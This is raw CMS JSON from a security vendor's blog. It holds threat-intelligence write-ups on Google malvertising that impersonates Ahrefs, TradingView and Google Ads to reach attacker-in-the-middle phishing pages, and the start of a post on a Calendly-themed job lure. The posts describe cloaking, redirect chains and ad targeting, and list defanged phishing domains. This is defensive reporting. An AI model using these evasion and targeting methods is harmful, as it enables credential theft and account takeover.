“Google Ads” in December.",{"url":84883,"width":1402,"height":84884},"https://images.ctfassets.net/y1cdw1ablpvd/4thOH70HwzZnhzWcU2zUAP/cf64ff8825037b233d5ab34bdb11d97f/image4.png",1205,{"sys":84886,"__typename":52243,"title":84887,"arcadeDemoUrl":84888,"playText":65395},{"id":70670},"Ahrefs Malvertising Attack Demo","https://demo.arcade.software/9O3tGrFzckBbTlRSnyEK?embed",{"sys":84890,"__typename":5503,"content":84891,"name":84914,"title":59},{"id":70676},{"json":84892},{"nodeType":1382,"data":84893,"content":84894},{},[84895,84907],{"nodeType":866,"data":84896,"content":84897},{},[84898,84903],{"nodeType":865,"value":84899,"marks":84900,"data":84902},"Update 24th February: ",[84901],{"type":926},{},{"nodeType":865,"value":84904,"marks":84905,"data":84906},"We discovered additional activity relating to this campaign with more Ahrefs malvertising on Google Search, this time pointing to fake domains hosted on surge[.]sh. We also blocked Push customers from interacting with a similar ad impersonating Semrush, also hosted on surge[.]sh. ",[],{},{"nodeType":866,"data":84908,"content":84909},{},[84910],{"nodeType":865,"value":84911,"marks":84912,"data":84913},"New IoCs have been added and you can see a video of this new attack below. ",[],{},"Ahrefs malvertising insight box 3",{"sys":84916,"__typename":52243,"title":84917,"arcadeDemoUrl":84918,"playText":65395},{"id":70682},"Ahrefs Malvertising v2","https://demo.arcade.software/3QIKy5x7kmMd0oSrFeOB?embed",{"sys":84920,"__typename":1390,"title":84921,"caption":84922,"layoutMode":59,"file":84923},{"id":70706},"Ahrefs malvertising lure","Ahrefs malvertising link featured on Google Search under \"Sponsored Results\"",{"url":84924,"width":1402,"height":84925},"https://images.ctfassets.net/y1cdw1ablpvd/6pfKxxRmvykxJ2t5xFJmpz/fc8d3d65b22beea965f1a45dae0b249c/image1.png",1126,{"sys":84927,"__typename":5503,"content":84928,"name":84950,"title":59},{"id":70719},{"json":84929},{"data":84930,"content":84931,"nodeType":1382},{},[84932],{"data":84933,"content":84934,"nodeType":866},{},[84935,84939,84947],{"data":84936,"marks":84937,"value":84938,"nodeType":865},{},[],"Notably, the site’s language is set to Brazilian Portuguese in the HTML (lang=\"pt-BR\"). Based on this, the campaign is likely linked to the same threat actors ",{"data":84940,"content":84941,"nodeType":889},{"uri":82159},[84942],{"data":84943,"marks":84944,"value":84946,"nodeType":865},{},[84945],{"type":943},"reported by MalwareBytes in January 2025",{"data":84948,"marks":84949,"value":14251,"nodeType":865},{},[],"Ahrefs malvertising insight box 1",{"sys":84952,"__typename":1390,"title":84953,"caption":84953,"layoutMode":59,"file":84954},{"id":70725},"Fake Ahrefs landing page",{"url":84955,"width":1402,"height":84925},"https://images.ctfassets.net/y1cdw1ablpvd/6vlPpGpLhMOTo5ijMxZav0/bfe816a0f301914d334ec9db9dfa56b1/image2.png",{"sys":84957,"__typename":1390,"title":84958,"caption":84958,"layoutMode":59,"file":84959},{"id":70738},"Cloned Google login page used to perform AITM phishing",{"url":84960,"width":1402,"height":84925},"https://images.ctfassets.net/y1cdw1ablpvd/5uh2f3ONpNQgMssDfdtALK/1edd93a6365e60049a01367b7b7b9448/image4.png",{"sys":84962,"__typename":5503,"content":84963,"name":85000,"title":59},{"id":70800},{"json":84964},{"nodeType":1382,"data":84965,"content":84966},{},[84967,84974,84981],{"nodeType":866,"data":84968,"content":84969},{},[84970],{"nodeType":865,"value":84971,"marks":84972,"data":84973},"It’s also worth noting that a Google Ad Manager account is also an enterprise SSO account that can be used to access broader Google Workspace services and any connected apps that are SSO-enabled. ",[],{},{"nodeType":866,"data":84975,"content":84976},{},[84977],{"nodeType":865,"value":84978,"marks":84979,"data":84980},"Even if the victim isn’t predominantly a Google house, a Google account using the same email as a different identity provider account (e.g. Microsoft) can still be used to access downstream apps via SSO. This is because most apps use email as an identifier, while 3 in 5 apps also allow you to access an account using a new login method without doing any further verification checks. ",[],{},{"nodeType":866,"data":84982,"content":84983},{},[84984,84988,84996],{"nodeType":865,"value":82198,"marks":84985,"data":84987},[84986],{"type":926},{},{"nodeType":889,"data":84989,"content":84990},{"uri":82201},[84991],{"nodeType":865,"value":82208,"marks":84992,"data":84995},[84993,84994],{"type":943},{"type":926},{},{"nodeType":865,"value":82213,"marks":84997,"data":84999},[84998],{"type":926},{},"Ahrefs malvertising insight box 2",{"items":85002},[],{},"Google Search malvertising campaign impersonating Ahrefs",{"items":85006},[85007,85445,85832],{"__typename":1429,"sys":85008,"content":85010,"title":85431,"synopsis":85432,"hashTags":59,"publishedDate":85433,"slug":85434,"tagsCollection":85435,"authorsCollection":85441},{"id":85009},"2obwh6WiK5IP0hnqsV4CZQ",{"json":85011},{"data":85012,"content":85013,"nodeType":1382},{},[85014,85021,85028,85035,85042,85048,85051,85058,85065,85071,85078,85084,85090,85097,85103,85110,85116,85123,85129,85132,85140,85158,85166,85184,85202,85208,85216,85234,85240,85246,85253,85256,85264,85283,85289,85296,85299,85306,85322,85328,85361,85364,85371,85387,85394,85420,85425],{"data":85015,"content":85016,"nodeType":866},{},[85017],{"data":85018,"marks":85019,"value":85020,"nodeType":865},{},[],"We recently detected and blocked a particularly well-crafted malvertising attack targeting one of our customers. ",{"data":85022,"content":85023,"nodeType":866},{},[85024],{"data":85025,"marks":85026,"value":85027,"nodeType":865},{},[],"The employee had searched for “tradingview” on Google and been served a malicious ad impersonating the real site, which they had clicked. ",{"data":85029,"content":85030,"nodeType":866},{},[85031],{"data":85032,"marks":85033,"value":85034,"nodeType":865},{},[],"As well as being a highly convincing clone of the real site, this attack demonstrated a number of creative detection evasion techniques designed to prevent security tools, analysts, and web scraping bots from flagging it as malicious. ",{"data":85036,"content":85037,"nodeType":866},{},[85038],{"data":85039,"marks":85040,"value":85041,"nodeType":865},{},[],"You can see a narrated clickthrough of the end-to-end attack in the video below. ",{"data":85043,"content":85047,"nodeType":912},{"target":85044},{"sys":85045},{"id":85046,"type":909,"linkType":910},"V8NYoNBZBSZXSNBo2AfUZ",[],{"data":85049,"content":85050,"nodeType":972},{},[],{"data":85052,"content":85053,"nodeType":981},{},[85054],{"data":85055,"marks":85056,"value":70694,"nodeType":865},{},[85057],{"type":926},{"data":85059,"content":85060,"nodeType":866},{},[85061],{"data":85062,"marks":85063,"value":85064,"nodeType":865},{},[],"When the victim clicked the malicious ad, they were initially directed to tradingview-charts-compare.primevoro[.]com, but then immediately redirected to a second site. In effect, the victim would never see this initial page — it is simply used as a benign site that only forwards the victim on if certain parameters are supplied from the initial Google ad link. ",{"data":85066,"content":85070,"nodeType":912},{"target":85067},{"sys":85068},{"id":85069,"type":909,"linkType":910},"1v5dADDY2y9EAwCZ7ZnWVi",[],{"data":85072,"content":85073,"nodeType":866},{},[85074],{"data":85075,"marks":85076,"value":85077,"nodeType":865},{},[],"The first site that the victim would see is visually identical to the real TradingView site, at tradingplatforms[.]app. ",{"data":85079,"content":85083,"nodeType":912},{"target":85080},{"sys":85081},{"id":85082,"type":909,"linkType":910},"iHIbILX30HMnqM4NXx86G",[],{"data":85085,"content":85089,"nodeType":912},{"target":85086},{"sys":85087},{"id":85088,"type":909,"linkType":910},"2nK9Y4ZFejHtbWT2GcVNM1",[],{"data":85091,"content":85092,"nodeType":866},{},[85093],{"data":85094,"marks":85095,"value":85096,"nodeType":865},{},[],"Upon clicking the login button, they are taken to another convincingly designed page, where the victim is prompted to sign in with Google. ",{"data":85098,"content":85102,"nodeType":912},{"target":85099},{"sys":85100},{"id":85101,"type":909,"linkType":910},"6il7lhKUz5VIgQW9shl9oc",[],{"data":85104,"content":85105,"nodeType":866},{},[85106],{"data":85107,"marks":85108,"value":85109,"nodeType":865},{},[],"Upon clicking the sign in with Google button, the victim is finally taken to the reverse proxy Attacker-in-the-Middle phishing page targeting Google. If the victim logs in, their credentials and live session is stolen by the attacker. ",{"data":85111,"content":85115,"nodeType":912},{"target":85112},{"sys":85113},{"id":85114,"type":909,"linkType":910},"3LSrYN6X2qnBiMBoPi1Qse",[],{"data":85117,"content":85118,"nodeType":866},{},[85119],{"data":85120,"marks":85121,"value":85122,"nodeType":865},{},[],"You can see the timeline of URLs accessed in the chain captured in Push’s timeline feature, below. When we investigated, the phishing page had no user reports on urlscan. ",{"data":85124,"content":85128,"nodeType":912},{"target":85125},{"sys":85126},{"id":85127,"type":909,"linkType":910},"5spFXtWBhTtB4LO3cYHv8Z",[],{"data":85130,"content":85131,"nodeType":972},{},[],{"data":85133,"content":85134,"nodeType":981},{},[85135],{"data":85136,"marks":85137,"value":85139,"nodeType":865},{},[85138],{"type":926},"How did this attack evade standard detections?",{"data":85141,"content":85142,"nodeType":866},{},[85143,85147,85154],{"data":85144,"marks":85145,"value":85146,"nodeType":865},{},[],"It’s increasingly common for malicious sites to fly under the radar because of the effective use of ",{"data":85148,"content":85149,"nodeType":889},{"uri":8862},[85150],{"data":85151,"marks":85152,"value":8868,"nodeType":865},{},[85153],{"type":943},{"data":85155,"marks":85156,"value":85157,"nodeType":865},{},[],", designed to defeat traditional security tools and web-scraping security bots. ",{"data":85159,"content":85160,"nodeType":1317},{},[85161],{"data":85162,"marks":85163,"value":85165,"nodeType":865},{},[85164],{"type":926},"Malvertising completely bypasses email-based controls",{"data":85167,"content":85168,"nodeType":866},{},[85169,85173,85180],{"data":85170,"marks":85171,"value":85172,"nodeType":865},{},[],"By delivering the lure via ",{"data":85174,"content":85175,"nodeType":889},{"uri":66817},[85176],{"data":85177,"marks":85178,"value":441,"nodeType":865},{},[85179],{"type":943},{"data":85181,"marks":85182,"value":85183,"nodeType":865},{},[],", the attacker was able to completely bypass the most common phishing detection surface — email. ",{"data":85185,"content":85186,"nodeType":866},{},[85187,85191,85198],{"data":85188,"marks":85189,"value":85190,"nodeType":865},{},[],"Malvertising via channels like Google Search is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":85192,"content":85193,"nodeType":889},{"uri":4991},[85194],{"data":85195,"marks":85196,"value":8673,"nodeType":865},{},[85197],{"type":943},{"data":85199,"marks":85200,"value":85201,"nodeType":865},{},[],"” criminal collective, all of which began with identity-based initial access). For this reason, credentials and account access are an increasingly profitable commodity for cyber criminals. ",{"data":85203,"content":85207,"nodeType":912},{"target":85204},{"sys":85205},{"id":85206,"type":909,"linkType":910},"7cq2IbGHIFH2UhkjIrwxGd",[],{"data":85209,"content":85210,"nodeType":1317},{},[85211],{"data":85212,"marks":85213,"value":85215,"nodeType":865},{},[85214],{"type":926},"Conditional loading parameters prevented the site being flagged as known-bad",{"data":85217,"content":85218,"nodeType":866},{},[85219,85223,85230],{"data":85220,"marks":85221,"value":85222,"nodeType":865},{},[],"The attacker used clever ",{"data":85224,"content":85225,"nodeType":889},{"uri":66627},[85226],{"data":85227,"marks":85228,"value":66633,"nodeType":865},{},[85229],{"type":943},{"data":85231,"marks":85232,"value":85233,"nodeType":865},{},[]," techniques to prevent the page being accessed unless the correct steps were followed. This means that security analysts attempting to load one of the pages in isolation would either be served with a benign page, or be blocked from accessing the page in order to analyse it for malicious content.  ",{"data":85235,"content":85239,"nodeType":912},{"target":85236},{"sys":85237},{"id":85238,"type":909,"linkType":910},"2vjZTsrjuILnt5UjNx9Nce",[],{"data":85241,"content":85245,"nodeType":912},{"target":85242},{"sys":85243},{"id":85244,"type":909,"linkType":910},"3pOLIA4beNZ9tU87YLlhT0",[],{"data":85247,"content":85248,"nodeType":866},{},[85249],{"data":85250,"marks":85251,"value":85252,"nodeType":865},{},[],"Further, the attacker tightly scoped the initial malvertising lure to prevent unwanted visitors. Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. ",{"data":85254,"content":85255,"nodeType":972},{},[],{"data":85257,"content":85258,"nodeType":981},{},[85259],{"data":85260,"marks":85261,"value":85263,"nodeType":865},{},[85262],{"type":926},"Further observations",{"data":85265,"content":85266,"nodeType":866},{},[85267,85270,85279],{"data":85268,"marks":85269,"value":21,"nodeType":865},{},[],{"data":85271,"content":85273,"nodeType":889},{"uri":85272},"https://www.bleepingcomputer.com/news/security/google-ads-for-fake-homebrew-logmein-sites-push-infostealers/",[85274],{"data":85275,"marks":85276,"value":85278,"nodeType":865},{},[85277],{"type":943},"According to security researchers",{"data":85280,"marks":85281,"value":85282,"nodeType":865},{},[],", attackers have been recently observed running ClickFix malvertising campaigns over Google Search that also impersonated TradingView. These attacks attempted to deliver malware to Mac users, harvesting sensitive information stored in the browser, cryptocurrency credentials, and exfiltrating to the command and control server.",{"data":85284,"content":85288,"nodeType":912},{"target":85285},{"sys":85286},{"id":85287,"type":909,"linkType":910},"VeLfUptGY8ygKHroPxTby",[],{"data":85290,"content":85291,"nodeType":866},{},[85292],{"data":85293,"marks":85294,"value":85295,"nodeType":865},{},[],"Attackers have been known to target investment and cryptocurrency accounts, particularly those aligned with North Korean state-sponsored operations. This is both targeting individual users as well as business accounts used in operating exchanges themselves, such as in the massive Bybit hack earlier this year. ",{"data":85297,"content":85298,"nodeType":972},{},[],{"data":85300,"content":85301,"nodeType":981},{},[85302],{"data":85303,"marks":85304,"value":67181,"nodeType":865},{},[85305],{"type":926},{"data":85307,"content":85308,"nodeType":866},{},[85309,85312,85319],{"data":85310,"marks":85311,"value":44799,"nodeType":865},{},[],{"data":85313,"content":85314,"nodeType":889},{"uri":38042},[85315],{"data":85316,"marks":85317,"value":38047,"nodeType":865},{},[85318],{"type":943},{"data":85320,"marks":85321,"value":67198,"nodeType":865},{},[],{"data":85323,"content":85324,"nodeType":866},{},[85325],{"data":85326,"marks":85327,"value":70995,"nodeType":865},{},[],{"data":85329,"content":85330,"nodeType":1616},{},[85331,85341,85351],{"data":85332,"content":85333,"nodeType":1570},{},[85334],{"data":85335,"content":85336,"nodeType":866},{},[85337],{"data":85338,"marks":85339,"value":85340,"nodeType":865},{},[],"hxxps://tradingview-charts-compare.primevoro.com",{"data":85342,"content":85343,"nodeType":1570},{},[85344],{"data":85345,"content":85346,"nodeType":866},{},[85347],{"data":85348,"marks":85349,"value":85350,"nodeType":865},{},[],"hxxps://tradingplatforms.app",{"data":85352,"content":85353,"nodeType":1570},{},[85354],{"data":85355,"content":85356,"nodeType":866},{},[85357],{"data":85358,"marks":85359,"value":85360,"nodeType":865},{},[],"hxxps://accounts.aeonnailspa.com",{"data":85362,"content":85363,"nodeType":972},{},[],{"data":85365,"content":85366,"nodeType":981},{},[85367],{"data":85368,"marks":85369,"value":67289,"nodeType":865},{},[85370],{"type":926},{"data":85372,"content":85373,"nodeType":866},{},[85374,85377,85384],{"data":85375,"marks":85376,"value":67309,"nodeType":865},{},[],{"data":85378,"content":85379,"nodeType":889},{"uri":8862},[85380],{"data":85381,"marks":85382,"value":67317,"nodeType":865},{},[85383],{"type":943},{"data":85385,"marks":85386,"value":67321,"nodeType":865},{},[],{"data":85388,"content":85389,"nodeType":866},{},[85390],{"data":85391,"marks":85392,"value":85393,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":85395,"content":85396,"nodeType":866},{},[85397,85400,85407,85410,85417],{"data":85398,"marks":85399,"value":11372,"nodeType":865},{},[],{"data":85401,"content":85402,"nodeType":889},{"uri":11375},[85403],{"data":85404,"marks":85405,"value":11381,"nodeType":865},{},[85406],{"type":943},{"data":85408,"marks":85409,"value":53880,"nodeType":865},{},[],{"data":85411,"content":85412,"nodeType":889},{"uri":1372},[85413],{"data":85414,"marks":85415,"value":11405,"nodeType":865},{},[85416],{"type":943},{"data":85418,"marks":85419,"value":1615,"nodeType":865},{},[],{"data":85421,"content":85424,"nodeType":912},{"target":85422},{"sys":85423},{"id":67359,"type":909,"linkType":910},[],{"data":85426,"content":85427,"nodeType":866},{},[85428],{"data":85429,"marks":85430,"value":21,"nodeType":865},{},[],"Analysing a sophisticated Google malvertising attack impersonating TradingView","Push recently detected and blocked a malvertising attack impersonating TradingView designed to hijack Google Workspace accounts.","2025-12-08T00:00:00.000Z","analysing-a-sophisticated-google-malvertising-attack",{"items":85436},[85437,85439],{"sys":85438,"name":7796},{"id":7795},{"sys":85440,"name":342},{"id":4642},{"items":85442},[85443],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":85444},{"url":7804},{"__typename":1429,"sys":85446,"content":85447,"title":85818,"synopsis":85819,"hashTags":59,"publishedDate":85820,"slug":85821,"tagsCollection":85822,"authorsCollection":85828},{"id":79669},{"json":85448},{"data":85449,"content":85450,"nodeType":1382},{},[85451,85458,85465,85471,85478,85511,85518,85524,85531,85537,85543,85549,85555,85561,85564,85572,85579,85586,85593,85601,85607,85625,85632,85649,85654,85657,85664,85671,85744,85751,85754,85761,85768,85775,85781,85807,85812],{"data":85452,"content":85453,"nodeType":981},{},[85454],{"data":85455,"marks":85456,"value":70694,"nodeType":865},{},[85457],{"type":926},{"data":85459,"content":85460,"nodeType":866},{},[85461],{"data":85462,"marks":85463,"value":85464,"nodeType":865},{},[],"We recently detected and blocked a malvertising attack impacting one of our customer’s employees. The employee had searched for “Google ads” in Google Search to log into their Google Ads Manager account.  ",{"data":85466,"content":85470,"nodeType":912},{"target":85467},{"sys":85468},{"id":85469,"type":909,"linkType":910},"40RyyKZC0R07wLU1OZBmH",[],{"data":85472,"content":85473,"nodeType":866},{},[85474],{"data":85475,"marks":85476,"value":85477,"nodeType":865},{},[],"The user:",{"data":85479,"content":85480,"nodeType":1616},{},[85481,85491,85501],{"data":85482,"content":85483,"nodeType":1570},{},[85484],{"data":85485,"content":85486,"nodeType":866},{},[85487],{"data":85488,"marks":85489,"value":85490,"nodeType":865},{},[],"Searched for “Google ads” in Google Search",{"data":85492,"content":85493,"nodeType":1570},{},[85494],{"data":85495,"content":85496,"nodeType":866},{},[85497],{"data":85498,"marks":85499,"value":85500,"nodeType":865},{},[],"Click the ad for hxxps://ads-adsword1.odoo.com/…",{"data":85502,"content":85503,"nodeType":1570},{},[85504],{"data":85505,"content":85506,"nodeType":866},{},[85507],{"data":85508,"marks":85509,"value":85510,"nodeType":865},{},[],"Was redirected to hxxps://sing-operador2.click/accounts/v3/login/ where the phishing form was blocked. ",{"data":85512,"content":85513,"nodeType":866},{},[85514],{"data":85515,"marks":85516,"value":85517,"nodeType":865},{},[],"When we came to investigate this detection further, we found that the site had already been taken down.  ",{"data":85519,"content":85523,"nodeType":912},{"target":85520},{"sys":85521},{"id":85522,"type":909,"linkType":910},"6eAIVxgaEDQ9krKZvu8zyI",[],{"data":85525,"content":85526,"nodeType":866},{},[85527],{"data":85528,"marks":85529,"value":85530,"nodeType":865},{},[],"However, we were able to replicate the user’s activity to find other examples that show clear signs of being linked to the same campaign — both hosted on Odoo, with one also using Kartra as a redirect.",{"data":85532,"content":85536,"nodeType":912},{"target":85533},{"sys":85534},{"id":85535,"type":909,"linkType":910},"1wGu0slZcKBNIUhuNk5SZN",[],{"data":85538,"content":85542,"nodeType":912},{"target":85539},{"sys":85540},{"id":85541,"type":909,"linkType":910},"5SqaaD4vDzvdkzVX8ypxvB",[],{"data":85544,"content":85548,"nodeType":912},{"target":85545},{"sys":85546},{"id":85547,"type":909,"linkType":910},"7IT185wut2jTtQy1lC9F5t",[],{"data":85550,"content":85554,"nodeType":912},{"target":85551},{"sys":85552},{"id":85553,"type":909,"linkType":910},"78WkGo9ZTio1fYvfP7W68",[],{"data":85556,"content":85560,"nodeType":912},{"target":85557},{"sys":85558},{"id":85559,"type":909,"linkType":910},"5CWMR1gxq3Uao4HGGhRLKE",[],{"data":85562,"content":85563,"nodeType":972},{},[],{"data":85565,"content":85566,"nodeType":981},{},[85567],{"data":85568,"marks":85569,"value":85571,"nodeType":865},{},[85570],{"type":926},"Why malvertising & Google ads?",{"data":85573,"content":85574,"nodeType":866},{},[85575],{"data":85576,"marks":85577,"value":85578,"nodeType":865},{},[],"Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":85580,"content":85581,"nodeType":866},{},[85582],{"data":85583,"marks":85584,"value":85585,"nodeType":865},{},[],"The flipside of this is that malvertising attacks are less likely to be targeted than phishing delivered directly to the victim via a direct message (i.e. email, social media DM, instant messenger app, SMS, etc.). This appears to be true in this case: we were served the ad from a UK location despite the initial ad targeting an EU-based company. ",{"data":85587,"content":85588,"nodeType":866},{},[85589],{"data":85590,"marks":85591,"value":85592,"nodeType":865},{},[],"However, that isn’t to say that malvertising attacks can’t be targeted. For example, Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. ",{"data":85594,"content":85595,"nodeType":866},{},[85596],{"data":85597,"marks":85598,"value":85600,"nodeType":865},{},[85599],{"type":926},"In this case, it appears that the attacker was specifically targeting Google Ad Manager accounts. ",{"data":85602,"content":85606,"nodeType":912},{"target":85603},{"sys":85604},{"id":85605,"type":909,"linkType":910},"5JA7xWPghOBln49SfkvefW",[],{"data":85608,"content":85609,"nodeType":866},{},[85610,85614,85621],{"data":85611,"marks":85612,"value":85613,"nodeType":865},{},[],"With malvertising on the rise as an increasingly popular attack vector for the delivery of AITM phishing, malware downloads, and ",{"data":85615,"content":85616,"nodeType":889},{"uri":14355},[85617],{"data":85618,"marks":85619,"value":315,"nodeType":865},{},[85620],{"type":943},{"data":85622,"marks":85623,"value":85624,"nodeType":865},{},[]," (4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search), it makes sense that attackers are looking to increase their web of accounts from which to launch malicious ads. ",{"data":85626,"content":85627,"nodeType":866},{},[85628],{"data":85629,"marks":85630,"value":85631,"nodeType":865},{},[],"Particularly for organizations that are running large numbers of ads with pre-allocated budget/cards for their ad account, or organizations performing ad management/marketing services on behalf of other organizations, it’s easy to see how attackers can take over these accounts and spin up malicious ads. ",{"data":85633,"content":85634,"nodeType":866},{},[85635,85639,85646],{"data":85636,"marks":85637,"value":85638,"nodeType":865},{},[],"Malvertising via Google Search is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":85640,"content":85641,"nodeType":889},{"uri":4991},[85642],{"data":85643,"marks":85644,"value":8673,"nodeType":865},{},[85645],{"type":943},{"data":85647,"marks":85648,"value":85201,"nodeType":865},{},[],{"data":85650,"content":85653,"nodeType":912},{"target":85651},{"sys":85652},{"id":67359,"type":909,"linkType":910},[],{"data":85655,"content":85656,"nodeType":972},{},[],{"data":85658,"content":85659,"nodeType":981},{},[85660],{"data":85661,"marks":85662,"value":67181,"nodeType":865},{},[85663],{"type":926},{"data":85665,"content":85666,"nodeType":866},{},[85667],{"data":85668,"marks":85669,"value":85670,"nodeType":865},{},[],"The following domains were involved in the attacks:",{"data":85672,"content":85673,"nodeType":1616},{},[85674,85684,85694,85704,85714,85724,85734],{"data":85675,"content":85676,"nodeType":1570},{},[85677],{"data":85678,"content":85679,"nodeType":866},{},[85680],{"data":85681,"marks":85682,"value":85683,"nodeType":865},{},[],"hxxps://ads-adsword1.odoo.com",{"data":85685,"content":85686,"nodeType":1570},{},[85687],{"data":85688,"content":85689,"nodeType":866},{},[85690],{"data":85691,"marks":85692,"value":85693,"nodeType":865},{},[],"hxxps://sing-operador2.click/accounts/v3/login",{"data":85695,"content":85696,"nodeType":1570},{},[85697],{"data":85698,"content":85699,"nodeType":866},{},[85700],{"data":85701,"marks":85702,"value":85703,"nodeType":865},{},[],"hxxps://adsgooglie.odoo.com/",{"data":85705,"content":85706,"nodeType":1570},{},[85707],{"data":85708,"content":85709,"nodeType":866},{},[85710],{"data":85711,"marks":85712,"value":85713,"nodeType":865},{},[],"hxxps://word4only.online/",{"data":85715,"content":85716,"nodeType":1570},{},[85717],{"data":85718,"content":85719,"nodeType":866},{},[85720],{"data":85721,"marks":85722,"value":85723,"nodeType":865},{},[],"hxxps://adsloginacess.kartra.com/page/oeN7",{"data":85725,"content":85726,"nodeType":1570},{},[85727],{"data":85728,"content":85729,"nodeType":866},{},[85730],{"data":85731,"marks":85732,"value":85733,"nodeType":865},{},[],"hxxps://ads-o.odoo.com",{"data":85735,"content":85736,"nodeType":1570},{},[85737],{"data":85738,"content":85739,"nodeType":866},{},[85740],{"data":85741,"marks":85742,"value":85743,"nodeType":865},{},[],"hxxps://operador8-ads.lat/accounts/v3/login/",{"data":85745,"content":85746,"nodeType":866},{},[85747],{"data":85748,"marks":85749,"value":85750,"nodeType":865},{},[],"However, with the rate at which these domains were spun up and subsequently taken down (by the attacker or the site hosting the links) IoC-based detections for campaigns such as this are of limited value. ",{"data":85752,"content":85753,"nodeType":972},{},[],{"data":85755,"content":85756,"nodeType":981},{},[85757],{"data":85758,"marks":85759,"value":67289,"nodeType":865},{},[85760],{"type":926},{"data":85762,"content":85763,"nodeType":866},{},[85764],{"data":85765,"marks":85766,"value":85767,"nodeType":865},{},[],"Regardless of the delivery channel, all roads lead to a web page accessed in the victim’s browser — where Push is waiting to detect and block the attack. ",{"data":85769,"content":85770,"nodeType":866},{},[85771],{"data":85772,"marks":85773,"value":85774,"nodeType":865},{},[],"By seeing what your users see, and getting an unfiltered, real-time view of the page as it loads, Push is able to pinpoint malicious content, code, and behaviors and shut the attack down before it happens. Whether it's entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA, Push detects the action and responds in real-time.",{"data":85776,"content":85777,"nodeType":866},{},[85778],{"data":85779,"marks":85780,"value":70936,"nodeType":865},{},[],{"data":85782,"content":85783,"nodeType":866},{},[85784,85787,85794,85797,85804],{"data":85785,"marks":85786,"value":11372,"nodeType":865},{},[],{"data":85788,"content":85789,"nodeType":889},{"uri":11375},[85790],{"data":85791,"marks":85792,"value":11381,"nodeType":865},{},[85793],{"type":943},{"data":85795,"marks":85796,"value":53880,"nodeType":865},{},[],{"data":85798,"content":85799,"nodeType":889},{"uri":1372},[85800],{"data":85801,"marks":85802,"value":11405,"nodeType":865},{},[85803],{"type":943},{"data":85805,"marks":85806,"value":1615,"nodeType":865},{},[],{"data":85808,"content":85811,"nodeType":912},{"target":85809},{"sys":85810},{"id":67359,"type":909,"linkType":910},[],{"data":85813,"content":85814,"nodeType":866},{},[85815],{"data":85816,"marks":85817,"value":21,"nodeType":865},{},[],"Analysing a malvertising attack targeting business Google accounts intercepted by Push","Analysing a malvertising attack targeting Google business accounts that was intercepted by Push. ","2025-12-02T00:00:00.000Z","analysing-a-malvertising-attack-targeting-business-google-accounts",{"items":85823},[85824,85826],{"sys":85825,"name":342},{"id":4642},{"sys":85827,"name":7796},{"id":7795},{"items":85829},[85830],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":85831},{"url":7804},{"__typename":1429,"sys":85833,"content":85834,"title":36710,"synopsis":86410,"hashTags":59,"publishedDate":85820,"slug":36711,"tagsCollection":86411,"authorsCollection":86417},{"id":33852},{"json":85835},{"data":85836,"content":85837,"nodeType":1382},{},[85838,85845,85852,85859,85865,85872,85875,85883,85890,85897,85904,85910,85917,85923,85930,85936,85943,85949,85979,85986,85992,85999,86005,86012,86018,86025,86068,86071,86079,86086,86093,86100,86106,86109,86117,86124,86144,86150,86156,86162,86169,86175,86181,86201,86204,86212,86231,86237,86244,86260,86268,86275,86282,86288,86306,86314,86321,86327,86330,86337,86344,86350,86353,86360,86367,86373,86399,86404],{"data":85839,"content":85840,"nodeType":866},{},[85841],{"data":85842,"marks":85843,"value":85844,"nodeType":865},{},[],"We recently investigated a sophisticated phishing campaign targeting Google Workspace and Facebook Business accounts with Calendly-themed phishing lures, based around a fake job opportunity. ",{"data":85846,"content":85847,"nodeType":866},{},[85848],{"data":85849,"marks":85850,"value":85851,"nodeType":865},{},[],"We were first alerted to the campaign when a Push customer was hit with a highly targeted email-based attack, where the attacker used an Attacker-in-the-Middle (AiTM) phishing toolkit to target the customer’s Google Workspace account. ",{"data":85853,"content":85854,"nodeType":866},{},[85855],{"data":85856,"marks":85857,"value":85858,"nodeType":865},{},[],"In this case, Google was the customer’s primary enterprise IdP account, used to access native Google suite apps as well as SSO to downstream apps — effectively, the front door to their business IT stack. Despite this, the attacker’s MO was specifically the takeover of accounts used for the management of digital ads. ",{"data":85860,"content":85864,"nodeType":912},{"target":85861},{"sys":85862},{"id":85863,"type":909,"linkType":910},"5oivBCf1Fqvnq0GNCSko8f",[],{"data":85866,"content":85867,"nodeType":866},{},[85868],{"data":85869,"marks":85870,"value":85871,"nodeType":865},{},[],"In this blog post, we break down the various TTPs used by the attacker across the campaign, and consider why ad management platforms are being specifically targeted.  ",{"data":85873,"content":85874,"nodeType":972},{},[],{"data":85876,"content":85877,"nodeType":981},{},[85878],{"data":85879,"marks":85880,"value":85882,"nodeType":865},{},[85881],{"type":926},"Variant 1: Targeting Google Workspace with a sophisticated email phish ",{"data":85884,"content":85885,"nodeType":866},{},[85886],{"data":85887,"marks":85888,"value":85889,"nodeType":865},{},[],"The first phishing variant we analyzed began with a multi-stage phishing email lure, framed as a job opportunity for LVMH (Louis Vuitton Moët Hennessy), which oversees more than 75 brands across sectors like fashion, cosmetics, watches, and spirits. The specific delivery address is impersonating “Inside LVMH”, the talent acquisition and training arm of LVMH.  